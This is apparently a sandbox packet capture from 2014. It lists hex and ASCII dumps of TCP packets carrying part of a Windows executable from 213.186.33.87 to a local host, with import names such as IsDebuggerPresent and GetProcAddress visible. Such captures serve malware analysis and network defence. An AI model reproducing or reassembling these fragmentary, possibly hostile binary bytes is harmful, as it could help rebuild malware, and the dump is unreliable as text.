Aug 8, 2014 11:26:06.478672028 MESZ801032213.186.33.87192.168.1.13Data Raw: fd 0a e3 68 f3 61 ba 0a 80 0f 18 0a e8 0a 51 1b 85 0a 0a 0a 9f df 0a 0a 0a 0a 4a 0a b8 0a 0a 27 0a f7 0a b2 ad 0a ba 0a d6 0a 0a 0a 83 8f 0a d7 25 85 f6 0a 0a 0a a0 0a 7a 0a ea af 98 66 0a 0a 1d 0a 0b 0a 03 0a 4d de 17 86 0a 0a 88 0a 0a 5d 0a 1e
Data Ascii: haQJ'%zfM]!BH#2R2'=:B{1FT^NdQN*\*$|8D$(p?d0PA
210
Aug 8, 2014 11:26:06.478992939 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 10 0a 66 0a 57 b5 8a 69 cf 8f 0a 19 f9 21 62 fa a5 7c 6b 0a 0a 0a 0a 0a 0a 3e 0a 0a 63 0a 2b 0a 0a 0a 0a c0 0a 0a ad 0a 11 bf d5 0a 87 90 8a c8 48 e4 1e 0a e9 4f d9 11 8e 0a 0a 0a 0a 0a 0a 0a 0a 39 2e 0a 95 0a 0a 0a 0a 7c 7e 65 12 95 71 52
Data Ascii: fWi!b|k>c+HO9.|~eqRDt%8ZY{Jcus;&Gdr0qCHZT-(4>]OP6
212
Aug 8, 2014 11:26:06.479165077 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 0a 0a f7 0a 20 0a 0a 0a ae a2 25 0a ee 5b 0c 0a c6 d1 47 0a a7 0a 32 0a 87 0a 0a 0a 0a f1 0a 0a 0a 0a 0f 0a 0a 0a 0a e4 2a 0a e0 0a 45 50 df be 1d db 58 13 0a 0a 4c 9c 9d d3 0a 68 0a 0a 30 0a 0a 0a f7 0a b0 0a 0a 0a 64 0a 61 2d 2f 02 95 b5
Data Ascii: %[G2*EPXLh0da-/EdC*,6+a<{:l?<x#\U5D ItR,gw(4>kl1
213
Aug 8, 2014 11:26:06.479324102 MESZ801032213.186.33.87192.168.1.13Data Raw: 43 0a 7a 0a 3f 42 a4 0a 75 95 e8 0a 0a 0a 0b 0f 1e e1 10 41 0a 0a 0a 92 0a c5 0a 53 0a 0a 0a 0a 7c 0a 0a 0a 0a 1e 71 0a d5 0a 0a af ac c1 fd 95 28 42 c1 8f 31 0a 67 34 5d be 30 d9 26 0a 0a 0a 0a 0a 0a 31 19 0a 0a 0a 0a 9a 0a 0b 0a 0a f2 08 35 ec
Data Ascii: Cz?BuAS|q(B1g4]0&15k:VR~n='pgcXR6L'hX8 |xab$XG
214
Aug 8, 2014 11:26:06.479621887 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 0c 0a 80 0a 0a fd 0a 94 0a 5f 0a a7 0a 0a 8e 28 13 0a 15 c6 69 9c 09 48 0a ec 0a 0a 4e 0a 82 0a 0a 0a 0a 0a 0a 61 0a 0a 3b 54 0a 0a 0a 0a 1b 50 0a 9a 0a 00 0a d1 64 61 0a ee 0a 42 b9 24 0a 51 03 00 0a 0a 0a 0a 90 0a 0a 0a 0a 9b 0a 0b 0a 0a
Data Ascii: _(iHNa;TPdaB$Qe&/TCR&g]N$'`)6I15W#2([b<
216
Aug 8, 2014 11:26:06.479636908 MESZ801032213.186.33.87192.168.1.13Data Raw: 56 84 a6 27 20 0a 59 d0 89 39 fc d9 c2 89 dd 0a 0a d1 0a 0a 94 0a e7 0a 0a 17 0a 44 0a 0a 8f 0a 0a 4e b8 e0 c9 1f 29 3e 58 0a 0a 0a f4 31 8c 46 90 0a c7 0a 04 0a 0a 0a 0a 6a 8d 0a c2 0a 0a 0a 22 38 0a c8 7a 0a ee e5 0a ff 1a b6 87 0a a4 0a 5c 0a
Data Ascii: V' Y9DN)>X1Fj"8z\rPH0>D|ud qEGq\3n}W-JzC,M:a,_Bou
217
Aug 8, 2014 11:26:06.480087996 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 8b 21 e8 8f 0a ae 0a 0a 32 0a d6 80 0a 0a f1 0a 0a ad 0a 44 0a 0a 0a 0a ec 0a 0a bf 19 0a 0a 9c a0 85 02 0a 1f 04 3b 0a b5 a7 a6 24 0a c7 21 0a 45 0a 0a 0a 0a 0a 02 0a 0a 0a 0a 06 0a 0a 0a 0a 08 0a 0a 0a 5f 5d 22 0a fb cc 0a d4 8e 4e 95 0a
Data Ascii: !2D;$!E_]"NR(<8?jbd/N@vW4\06@8OKH}Jf$/zn"{qmg
219
Aug 8, 2014 11:26:06.480251074 MESZ801032213.186.33.87192.168.1.13Data Raw: 22 0a 0a 0a 8f fe 26 5c 0a bb 0a e0 0a 03 0a 0a 0a 0b 0a 0a 39 f3 0a fc 65 92 0a 56 0a 8a 0a 39 4c 83 d1 7d 30 08 6a 94 e0 0a 0a 0a 89 0a c4 0a 0a 13 0a 0a 0a 0a 46 0a 9a eb a9 aa 38 16 0a 0a 0a 0a a6 85 08 0a 48 0a 04 0a 49 08 0a e1 0a b9 0a 0a
Data Ascii: "&\9eV9L}0jF8HIK*dfZi{X;9MA`S"hTTNxRtIuZ=
220
Aug 8, 2014 11:26:06.480268002 MESZ801032213.186.33.87192.168.1.13Data Raw: 08 58 38 20 37 0a ca 0a 0a 0a c7 0a 0a 0a 0a 0a 72 0a 0a 0a 28 0a 0a 0a 37 0a 68 cc af cd b0 0a 12 f0 2a 0a 7a 45 4f 0a aa 0a 02 f9 0a 0a 0a 0a 27 0a c1 0a 0a b9 ff 0a 0f 0a 0a 43 77 ef 0a 0a 39 5b 7d 82 0a 3b 85 0a 01 17 de 0a 0d 51 0a 0a 0a 0a
Data Ascii: X8 7r(7h*zEO'Cw9[};Q|{q1)A WywJ*']@zu+6%,kP#G#p$*tF(@(t21>l
222
Aug 8, 2014 11:26:06.480587959 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 7a 3c 42 7b 10 0a 05 76 0a 04 5e 44 89 e4 0a 0a 0a f7 0a 0a d8 0a 0a 0a 0a 0a 0a e5 0a 6a 0e 0e 0a 77 c0 0a 06 0a b4 0a fd 0a c2 e1 0a 0a 0a cc 0a 0a 11 0a 5b 20 46 0a 0a 3e 0a b2 0a 7c 38 62 f5 3f 00 22 40 b5 cd f8 0a 50 23 69 e4 c3 0a 0a
Data Ascii: z<B{v^Djw[ F>|8b?"@P#iLGvK9v@RK5$TIJ3vlI!w<%@z{o<>&#
222
Aug 8, 2014 11:26:06.480776072 MESZ801032213.186.33.87192.168.1.13Data Raw: b8 0a 06 0a 0a 0a 0a 88 0a 0a 0a 0a 0a 48 0a 0a 97 0a 6d 0a 33 0a 0a 42 c0 8e 19 b2 80 28 a9 40 0a 82 0a 0a 0a 0a 0a 0a 29 0a 31 0a 0a 0a 0a 15 0a 0a d2 4c 1e d7 0a 0a 0a 3e 59 ff 0a 72 0a a8 82 0a 22 0a 21 0a af 0a 0a 04 0a 73 0a 93 0a 0a 52 86
Data Ascii: Hm3B(@)1L>Yr"!sRQZJ[R@Ba`Rp>BDVH7D+L.Oz'CE@*"l^ ~1F~
224
Aug 8, 2014 11:26:06.480793953 MESZ801032213.186.33.87192.168.1.13Data Raw: e9 8b 0a 0a 0a 0a 88 0a 0a 10 0a 66 0a c6 55 0a 83 0a ae 0a ea 0a f7 f3 13 8c cb ea 9b 0a 39 5a fc 2c 04 6e 88 0a 0a 0a 0a 96 0a 0a ae c8 ae 0a 0a 0a 0a 57 d8 6c 0a 0a 0a 0c ef 80 0a 22 0a b3 1a 6b 1c 71 0a 02 0a 0a 0a 0a 70 0a 51 9c 0a 7d 0a 8f
Data Ascii: fU9Z,nWl"kqpQ}y07">]"h5o|GndhG3TC}:b1$uZ!"0@0$P
225
Aug 8, 2014 11:26:06.481137991 MESZ801032213.186.33.87192.168.1.13Data Raw: 1e 0a d8 1c 0a 0a 7b 0a f3 55 0a 0a 0a 5a 25 ec 0a 0a 0a 39 93 0a ad 0a 0a 0a b1 0a 0a ec 0a 0a f1 ea 0a 0a e0 64 31 a0 09 14 c2 49 0a 03 0a 0a 0a 0a 0a 4c f5 0a a0 0a 7b 0a 0a 8a 0a 0a 0a 0a 0a bd 0a 0a 1d 84 cf 0a 24 1e 0a 9b ff 05 dc b2 0a f2
Data Ascii: {UZ%9d1IL{$a):'phX)hh(NE0AnY/5x&H[A,
226
Aug 8, 2014 11:26:06.481298923 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 26 0b ae 0a 89 0a 6e 0a 4e 0a 0a 4a c3 0c b0 0a b2 0a 0a 0a 24 18 47 92 0a f8 0a 94 b4 0a 0a 0d 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a c4 0a 10 99 6d 0a d0 63 c4 c9 13 b7 ba 0a 42 15 40 c2 0a 43 0a 03 0a 0a 4b 0a 46 0a 0a 0a 0a 0a 5f
Data Ascii: &nNJ$GmcB@CKF_;y}0[Q4z 1T$u8X;47|`(.g@YP1JCA VBLn
228
Aug 8, 2014 11:26:06.481314898 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 21 0a 0a 0a 0a 13 0a 78 0a 0a d3 0a b4 0b d4 2f 58 0a 89 e5 9d 0a af 40 c1 0a 0c ab 49 60 46 0a 24 0a e7 0a 3a 0a 0a 0a 51 0a 3a 0a 0a f8 0a 0a 69 0a 06 0a 3d 0a 0a 80 0a dd e3 33 e4 21 64 8a 0a 44 81 0a 0a 0a 0a 0a bd 0a 0a 0a 0a 0a 0a 3a
Data Ascii: !x/X@I`F$:Q:i=3!dD:A,mn: ot/y?WO<O"L=Z0LaM+%@4E`Nq-c*/zxH
229
Aug 8, 2014 11:26:06.481585979 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 54 0a cc 92 0a b5 0a 0a 0a 0a 0a 0a 0a 0a 0a 3e d7 0a 0a 39 0a 1c 17 d3 0a 64 9a 04 a8 1b 0a ca 42 0a 0a 0a 0a 0a 0a 0a 0a 0a 17 0a 0a 2e 0a 0a 0a 7f 0a eb 0a 70 0a a3 aa 0a dd b3 0a 0a 0a 0a f4 48 2f 3a 0a 93 0a 0a 90 c3 0a c8 0a 0a 0a 0a 0a
Data Ascii: T>9dB.pH/:@!N?XU6QNgV)n \sLo`QV10#eG"y
230
Aug 8, 2014 11:26:06.481822968 MESZ801032213.186.33.87192.168.1.13Data Raw: 5e 0a 0a 0a 0a 0a 6d a2 0c 0a 0a 0a 52 0a 0a 0a 0a c1 6d 0a 4d 0a 0a 0a d1 2d 8b 0a 0a 46 0a 0a 53 70 e9 c7 0a 60 b9 0a 06 0a 5c 0a 0a 0a 0a a1 0a 0a 0a 0a d1 fd 69 be 38 aa f9 f5 0a 0d 0a 0a 80 0a 0a 96 0a 8a dd 0a 0a 0a 0a 3a 0a 0a 0a 0a a0 0a
Data Ascii: ^mRmM-FSp`\i8:>%}]<SK9%AVb^@kt#,j^!!"bEJ4ym
232
Aug 8, 2014 11:26:06.481852055 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 f6 62 0a 0a 0a 5e 0a c8 0a 2c 14 0a 0a 0a 0a cf 0a 0a db ee 0a 34 a5 78 01 45 3a df c5 d7 a7 73 93 df 13 54 0a 0a 11 c0 5d 0a 0a 0a 0a b4 0a 0a 0a 0a 0a 0a 0a 0a 0a bb 0a 54 0a 0a 0a 0a 76 e2 d2 57 ca 55 5f 0a 0a 90 0a 0a 0a 44 0a 0a 33 0a cc
Data Ascii: b^,4xE:sT]TvWU_D3f8^]:ZR, 0"5i)o2T2H%*ABB@$
233
Aug 8, 2014 11:26:06.482158899 MESZ801032213.186.33.87192.168.1.13Data Raw: d4 0a 0a 54 0a 9c 0a 0a a2 0a 0e 0a 0a 0a f4 c9 0a 0a 0a 0a 0a ae 86 0a 1e 8a ca 0a 1d 0a 0a 87 48 0a 06 0a 68 6c 0a 0a 0a 0a 0a 0a 0a 80 0a 0a 81 0a 96 0a 0a 0a 0a 72 80 0a 50 08 b6 0b 0c 0a 0a c3 0a 9b 9c 58 0a 25 08 0a 0a 80 21 0a 59 0a 0a 0a
Data Ascii: THhlrPX%!Y=o,/BTh)%K@WD+jBGN`^rt9U[<fb>CuJ4:
234
Aug 8, 2014 11:26:06.482388973 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 18 4e e1 0a 7b 0a 39 a3 28 60 31 5d 04 0a c0 0a 0a 42 0a b2 0a 0a c8 0a 23 0a 0a 0a 1c 80 fd 0a 0a 0a fb 62 77 0a 88 0a 6e 58 0a 62 56 4e 30 0a 08 8e cc 0a bf 0a 0a 0a 0a a8 0a 0a c5 0a 0a 0a 0a 0a 0a 2c 4e 74 af 5f 0a e5 92 2e a0 f3 0a 8d
Data Ascii: N{9(`1]B#bwnXbVN0,Nt_.q!BA$HOe}m$kR"9]D+Bx+)\=D
236
Aug 8, 2014 11:26:06.482407093 MESZ801032213.186.33.87192.168.1.13Data Raw: 03 00 cc 79 03 00 e8 79 03 00 f8 79 03 00 0a 7a 03 00 16 7a 03 00 24 7a 03 00 34 7a 03 00 44 7a 03 00 98 80 03 00 6a 7a 03 00 80 7a 03 00 f4 77 03 00 b0 77 03 00 68 80 03 00 84 80 03 00 6a 77 03 00 56 7a 03 00 00 00 00 00 94 74 03 00 86 74 03 00
Data Ascii: yyyzz$z4zDzjzzwwhjwVzttttt\{j{~{{{{{{{{|| |0|B|X|f|x||||||||}}"}6}N}Z}f}v}}F{}}
237
Aug 8, 2014 11:26:06.482518911 MESZ801032213.186.33.87192.168.1.13Data Raw: 6c 44 69 76 00 00 4d 03 4c 6f 63 61 6c 53 69 7a 65 00 87 01 47 65 74 43 6f 6d 6d 61 6e 64 4c 69 6e 65 57 00 15 02 47 65 74 4d 6f 64 75 6c 65 48 61 6e 64 6c 65 41 00 00 d6 00 44 65 6c 65 74 65 46 69 6c 65 57 00 45 02 47 65 74 50 72 6f 63 41 64 64
Data Ascii: lDivMLocalSizeGetCommandLineWGetModuleHandleADeleteFileWEGetProcAddressGlobalFreeGetCurrentThreadIdJLocalLockhGetACPGetLocalTimesSetLastErrorCreateFileMappingWGetCurrentProcessIdGetUserDefaultUILan
238
Aug 8, 2014 11:26:06.482922077 MESZ801032213.186.33.87192.168.1.13Data Raw: 86 00 47 65 74 50 72 69 6e 74 65 72 44 72 69 76 65 72 57 00 90 00 4f 70 65 6e 50 72 69 6e 74 65 72 57 00 00 1d 00 43 6c 6f 73 65 50 72 69 6e 74 65 72 00 00 57 49 4e 53 50 4f 4f 4c 2e 44 52 56 00 00 e5 01 4c 6f 61 64 41 63 63 65 6c 65 72 61 74 6f
Data Ascii: GetPrinterDriverWOpenPrinterWClosePrinterWINSPOOL.DRVLoadAcceleratorsWSetWinEventHookzGetSubMenu*GetDlgItemTextWSetWindowTextW1CharNextWsSendDlgItemMessageW.CharLowerWIsDialogMessageW~GetSystemMetrics
239
Aug 8, 2014 11:26:06.482938051 MESZ801032213.186.33.87192.168.1.13Data Raw: 64 4b 65 79 57 00 41 44 56 41 50 49 33 32 2e 64 6c 6c 00 00 04 03 49 73 50 72 6f 63 65 73 73 6f 72 46 65 61 74 75 72 65 50 72 65 73 65 6e 74 00 c0 04 54 65 72 6d 69 6e 61 74 65 50 72 6f 63 65 73 73 00 00 00 03 49 73 44 65 62 75 67 67 65 72 50 72
Data Ascii: dKeyWADVAPI32.dllIsProcessorFeaturePresentTerminateProcessIsDebuggerPresent
241
Aug 8, 2014 11:26:06.483308077 MESZ801032213.186.33.87192.168.1.13Data Raw: d4 8b 21 0a 0a 51 84 99 fb 06 0a 0a 12 0a 0a 11 70 14 0a 09 0a 0a f2 0a 0a 81 31 11 0a 8d 66 54 0a 0a ae 0a a9 c4 89 40 0a 5f ea 67 0a 0a 9b 87 4f 0a 0a 0a 0a 0a 40 53 0a 20 0a 88 e4 0a 44 0a 35 0a a1 ea 0a 8e 0a 0a 15 e3 0a 34 0a 4a 00 cf 0a 0a
Data Ascii: !Qp1fT@_gO@S D54Jb)rf1MHavP,v!&"GLi|cHK-rHp27?bBF sEzU/+uV$
242
Aug 8, 2014 11:26:06.483500957 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 7a 0a 57 6d ff f6 0d f8 0a 9c 0a b1 0a 0a 0d 0a fa 0a 7d aa 24 0a 0a 0a 11 0a 1a 81 68 0a 1c 0a 75 0a 0a 0a 4d 0a 1c 13 20 8a 0a 04 0a d3 77 0a 0a 10 0a 99 0a 0a 38 0a 13 66 7a 8e 0a 22 cc 0a 5f 0a be 7a cf 02 0a 0a 0a 38 0a 34 86 96 87 ac
Data Ascii: zWm}$huM w8fz"_z84Va<b28sF]R&k:LlA&DDM],wS*|.LB]**Fl%"`
243
Aug 8, 2014 11:26:06.483516932 MESZ801032213.186.33.87192.168.1.13Data Raw: de 0a 88 81 42 0a 85 0a f0 50 36 46 79 f4 0a 1a 0a 65 40 ba 0a 0a 69 0a 0a b9 cd 6c 97 d3 a3 0a 65 0a 0a 0a 94 28 4c 0a 0a c3 0a 05 0a b2 0a 0a eb 0a 32 0a fc f6 0a f2 5a 44 6a 50 c0 0a f5 2a 0a 0a 0a 0a 0a c5 23 c8 0a 9f 27 d4 90 0a aa c4 83 3a
Data Ascii: BP6Fye@ile(L2ZDjP*#':isV]PZK6k?HS3 Q+(?EhLA,ySCfSvQBlz(;BB# 7ZR
245
Aug 8, 2014 11:26:06.483529091 MESZ801032213.186.33.87192.168.1.13Data Raw: 27 0a 3c 0a ba 80 0a 0a 0a 0d 0a 48 84 0e 0a cf 0e 9c ab 54 9a 35 0a ea 0a 0a 0c 08 27 07 0a c2 0a 0a 09 56 0a 0a 34 2d 38 6e 04 0a 1e fb 0a 4d 22 10 d6 84 0a 39 0a 0a 0a 8b 9e 5c 0a 48 0a 74 ad 0a 9a 0a 56 63 0a c0 0a 78 41 b2 35 58 0a ac d9 05
Data Ascii: '<HT5'V4-8nM"9\HtVcxA5X-P8(m!`k(}4s=; [DL@NDh6E_#vH\ [;tM(<7LoUNzKvF
246
Aug 8, 2014 11:26:06.483845949 MESZ801032213.186.33.87192.168.1.13Data Raw: 5d 58 0a 0a 06 23 ae 23 84 52 f3 0a 0a 21 0a 41 bf 70 d6 0a 19 0a 0a 7c 0a 01 0a 73 c9 0a 27 0a 11 81 0a 0a 94 a8 0a 95 0a 0a 0a 0a 4f a4 0a a6 71 19 b6 f0 0a e2 0a c5 0a 0a c2 0a 0a 0a 78 0c 0a 5e d5 66 e1 84 13 a1 6c 10 51 0a 0a ba 0a 81 e7 7f
Data Ascii: ]X##R!Ap|s'Oqx^flQ>T:m
246
Aug 8, 2014 11:26:06.484036922 MESZ801032213.186.33.87192.168.1.13Data Raw: 32 10 0a 88 d1 20 af f1 64 a8 5a 3c 50 0a 0a 0f 0a 90 0a 12 08 06 73 0a a6 0a 88 d7 0a 9d 0a 77 0a fc 95 0a 26 0a 0a de f9 f9 f0 b7 87 0a 0a 0a 07 0a 08 57 0a 42 62 47 13 0a 0a 8d 37 0a 0a 0a d1 86 89 0a f8 70 0a 0d 98 54 6d e2 0a 79 9f 42 0a e9
Data Ascii: 2 dZ<Psw&WBbG7pTmyBH/&$u@J- OZ;amjWIK7"uq+9o-cN#en%`0#DSNYEq
248
Aug 8, 2014 11:26:06.484052896 MESZ801032213.186.33.87192.168.1.13Data Raw: 46 ba e1 f2 a7 0a 0a 30 f0 56 c2 18 0a 43 0a 0a 4e 0a 0a 16 64 3d b5 b4 0a e4 93 90 6f 5d 7f 42 1d a8 0a 0a 0a 36 0a c1 3b 60 15 0e 16 5a 0a ed 0a c2 0a 4a a2 0a 0a 0a 83 e0 33 57 01 0a 0a 0a 8c d9 0a b5 60 1f 06 0a c3 4e 3c 9d 80 5c 34 0a fa 0a
Data Ascii: F0VCNd=o]B6;`ZJ3W`N<\4PoDr.?:rBxf4J]P@4, as~\E#;/q2.PJ+3vK!
249
Aug 8, 2014 11:26:06.484417915 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 63 0a 9b 5f 0a ff 0a 55 1c 41 26 0a 92 0a 98 0a d8 0c 20 22 0a 94 0a 84 75 0a 0a 7d cc 0a c1 3c 0a 5c d6 be 0a 0a 58 e7 03 f7 2c 8f a2 a0 55 95 1f 0a 89 83 4c 22 21 62 30 2f be 0a 13 0a 71 86 cc 4f 0a 94 0a 0a ab 7e 0a 0a db 1f 1d 0a b0 0a 2c
Data Ascii: c_UA& "u}<\X,UL"!b0/qO~,$X&+n9"-9,RXRSv;?2pv@KTJ*W#)"0g%3xp`B2tN
251
Aug 8, 2014 11:26:06.484447002 MESZ801032213.186.33.87192.168.1.13Data Raw: 02 0a 44 19 29 86 f9 91 c9 61 0a 0a 56 0a f8 0a 94 c9 e4 15 8b 0a fd 0a c6 8f 0a 0a c3 0a 0c 0a e8 0a 18 36 0a c7 73 73 b3 71 ea 3e 0a 35 0a 90 e2 9d 38 0a 0a a3 f7 0a 61 22 43 d7 0a 0a 29 de ec 9a 0a 0a 9d 7e 15 c3 0c 0a 95 7c 0a 10 f3 cb 10 0a
Data Ascii: D)aV6ssq>58a"C)~|"&|g^,b;CI}w}]R)pvuB~07/X(8"Q/d@Hjs\&
252
Aug 8, 2014 11:26:06.484462023 MESZ801032213.186.33.87192.168.1.13Data Raw: c0 0a 0a 0a cb 0a 17 97 0a 0a 0a ee 24 c1 6c 0d 9a 4a 0a 0a 0a 00 0a 45 7b 0a 2e 0a e9 0a 9a 0a 0a 0a 46 0a 81 0a a6 e0 08 35 0a e8 a1 0b 0a de 0a 0a 0a c4 de 24 0a 0e 61 ec 72 37 0a 9f c1 30 65 0a 07 7e 3f 06 62 0b 0a b3 c7 0a 59 0a b7 7f 0a 2c
Data Ascii: $lJE{.F5$ar70e~?bY,E`\=?P2Q/-CJt_X_3d1}@A@$|*H"[0yaJ> Wm[FHt,
254
Aug 8, 2014 11:26:06.484900951 MESZ801032213.186.33.87192.168.1.13Data Raw: ea 0a 8c 78 08 0a 0a 0c 0a f0 35 8a b9 c3 0a 0a 0a 35 0a 18 0a 42 0a 33 20 0a 0a 0a 16 fe d4 0a 43 4a 48 0a 0a 0a 6a 21 3e 0b 09 ef 71 4c 6e 41 0c 85 0a 7a 0a 3a 0a 76 18 a9 0a 81 7d 5c dd 29 0a 0a 0a 0a
Data Ascii: x55B3 CJHj!>qLnAz:v}\)
254
Aug 8, 2014 11:26:06.485024929 MESZ801032213.186.33.87192.168.1.13Data Raw: 4f 0a c7 92 7e d0 0a 11 00 17 a1 0a bf 0a b5 11 0a f5 0a 01 0a 0a 0c 95 e9 b8 e4 75 1f 9f 0a 0a 39 50 47 0a 0a 5d 6d 11 e0 95 0a 20 0a 42 0a 22 0a a5 10 0a 96 96 64 0b 4a 0a 34 0a a9 0a ed 0f 04 0a 0a 3e 38 4d 0a 0a 25 02 7c 0a 0a 50 5c c4 0a 40
Data Ascii: O~u9PG]m B"dJ4>8M%|P\@hL`LOVZR7dh]hma.V`rDU{c||a>`QSE4E
255
Aug 8, 2014 11:26:06.485042095 MESZ801032213.186.33.87192.168.1.13Data Raw: 45 0a 16 0a 1a e0 ea 0a 15 af 0a b5 65 e6 0a 10 0a 0a 0a 5e 0a 7b d9 01 0a 0a 6d 10 6a 0a 48 0a 83 0a 1e 0a 2a fd 0a 0a 07 ab 46 c3 0a d5 0a 0a 0a 02 0a d2 14 82 98 58 30 0a 29 e8 0a 0a fa 0a 0a 0a 70 0a 7b f5 df bf 5e 48 0d 0a 0a 0a 0a 0a 0a 0a
Data Ascii: Ee^{mjH*FX0)p{^H>P'|tI)0QNqmV,Q6E$IJW#>>"rz1POmc<b""DZq}n@0ua!!
257
Aug 8, 2014 11:26:06.485347986 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a be 87 b4 bf 0a 61 b4 77 ee 00 ea c4 58 a3 f1 44 36 f5 0a c0 31 0a a9 dc 8a 07 bb 0a 20 8c 24 0a 96 34 02 4b 0a 85 0a 2e 0a 94 0a ae 0a 68 f9 0a 0a 0a 0a 9c 92 a0 0a 0a 9f e3 3c 0b dd 0a 0a 0a ba 0a 21 3e 2b 93 3a 0a 0a f0 42 00 0a 1f 0a 4a
Data Ascii: awXD61 $4K.h<!>+:BJAW)E+[#2qRR!#yNT%[G6<6zDfVJiA:)b6^T!|I{4V?,2kRA
258
Aug 8, 2014 11:26:06.485649109 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a d9 b7 cd 0a 0a 1f 9d 4c b9 0a 0a 02 66 0a 0a f3 58 5f 0a 0a b0 16 b1 7f 0a 97 0a c9 22 88 d1 9b 57 67 0a 0a 0a 7c ca a7 7e 1a 43 0a e3 0f d9 b8 0a 0a 0a 15 01 70 0a 0a 86 0a 0a 0a 6c 7f 07 dc 08 0a b0 0a 4a 34 aa ec 0a 81 0a d3 0a 48 cf 16 0a
Data Ascii: LfX_"Wg|~CplJ4HOd#LMxm7?Hb<<zPFm9X-ySc{T-=wH2`9*`|M83
259
Aug 8, 2014 11:26:06.485667944 MESZ801032213.186.33.87192.168.1.13Data Raw: 5a 0a ef 0a 0a 88 81 09 0a 0a 2c 03 5c 0a 73 0a f4 0a 1f 0a 32 0a 44 15 0a 37 0a 35 0a 12 05 0a e3 3c 0a c5 0a fa 0a 0a 01 0a 90 0a 0a c7 3c 24 0a 0a 33 0a bd 0a 0a 2c a2 55 be 12 9d d4 5a 31 0a 2c 8b fb 80 ea 0a 0a 74 85 0a 39 0a 0a 7f 57 b7 0a
Data Ascii: Z,\s2D75<<$3,UZ1,t9WBA>)2zph,DPSJq1b<d$B&~fF5O5C Y>F>L
261
Aug 8, 2014 11:26:06.485929012 MESZ801032213.186.33.87192.168.1.13Data Raw: 68 2d 0a 53 0a 0a 0a 0a 0a 7d 0a 83 0a 0a 0a 0a ef 0a 0a 31 0a 0a 0e 0a 80 0a 1f 0a 57 8b e4 c4 65 0a 0a 0a 0a 0a 0a 57 8c 0e 0a 0a 0c 0a 0a 52 0a 0a 64 0a 9a 0a 0a 0a b6 89 0a 0a 0a 0a 3b 0a 0a 18 0a 8c 0a 0a bc 29 20 0a 0a 0a 0a 0a 0a fc 2c 0a
Data Ascii: h-S}1WeWRd;) ,&;$(U7iE',PJb8j~`K|kK{NSC<MB"&%
262
Aug 8, 2014 11:26:06.486038923 MESZ801032213.186.33.87192.168.1.13Data Raw: 51 69 0a 57 0a 66 46 28 b2 0a 0a f0 0a 0a f9 7f be aa 0a 0a 11 85 0a b8 0a 0a 60 0a 0a b3 04 0a 12 d5 0a 00 0a 0a 0a b6 0a f8 0a 5f 0a 3d 5f 0a 0a 0a c2 69 0a f3 0a 0a 60 0a 0a 0a 52 82 0a e5 00 e2 5c d8 0a eb 0a 9c 0a 95 0a ad f1 0a 0a 58 fc bd
Data Ascii: QiWfF(`_=_i`R\X+6BxjG1hRlUgfLQP:uG=a}!aIE;>~MwS
263
Aug 8, 2014 11:26:06.486396074 MESZ801032213.186.33.87192.168.1.13Data Raw: 6c 0a 5c 2f b3 ee c1 0a 58 0a b1 cf 0a b8 0a fa 46 7f 0a 0a 81 3e 0a 08 0a a5 64 0a 86 0a 9f 0a 16 0a 0a 0a cc 0a d0 0a 11 0a 86 13 0a 0a 95 56 d4 0a 0a 68 0a 63 0a 86 46 61 0a 0a 1d af b9 0a 0a 0a 45 0a 0a 0a 77 cb de 00 0a ac ac 8e 0a 0a 0a 0a
Data Ascii: l\/XF>dVhcFaEwL"urRcg Y9+5'?l&ZfMy< bFN=ed
265
Aug 8, 2014 11:26:06.486413002 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 90 0a 0a 0a a4 0a 0a b9 0a e6 fd 0a 0a 4d 0a 0a 0a f5 c7 01 1a 0a 0a 0a 9d 0a 0a 8d 8e 0a 0a 0a 0a 0a eb cf 0a 0a 0a 0a d4 0a 48 0a 0a 23 0a 92 0a 33 18 0a 0a b3 0a f3 0a 52 df 0a e5 0a e9 00 50 0a 0a 0a 45 0a 0a 0a 83 20 92 0a 0a 78 69 31
Data Ascii: MH#3RPE xi1#}dzO0XxI2BA.mm!-avPH4z(8f-$@DJgg&8(
266
Aug 8, 2014 11:26:06.486644983 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 a6 d6 0a 0a 0a fe 0a 7a 0a 55 3e 0a e7 0a 46 0a 53 0a 38 0a 15 0a ea 0a 00 0a 0a 5f a0 d8 5c 21 1e 0a 0a af 0a 69 0a e3 96 d3 0a 0a 06 9a 0a 0a 0a 0a 4f 0a 99 f3 ec a0 04 0a 04 ee 0f 0a 0a 0a 0a 0a 0a 94 50 19 fc 0a 23 0a 85 0a 0a 0a 9d 0a b2
Data Ascii: zU>FS8_\!iOP#@lE;'iL}_g\;J?q{dB]#x>GP
268
Aug 8, 2014 11:26:06.486773014 MESZ801032213.186.33.87192.168.1.13Data Raw: a2 0a 0a 0a 2a 5c 2b 0a 0a 0a 48 0a 10 0a 7e af 0a 0a 0b b5 0a 6c a5 0a 0a 0a 0a 0a 0a 83 a9 0a e5 0a 24 09 0a 0a 0a 0a b1 0a 20 0a 95 23 b7 0a 0a 00 2d 0a 0a 0a 0a e5 0a aa e2 fd 35 0a 0a 0a 41 ed 0a 0a 12 0a 0a 0a 49 83 80 0a 0a 81 0a 4a 0a 0a
Data Ascii: *\+H~l$ #-5AIJyhF"HSWD- x^M"DvQLjXAyp-a.T
269
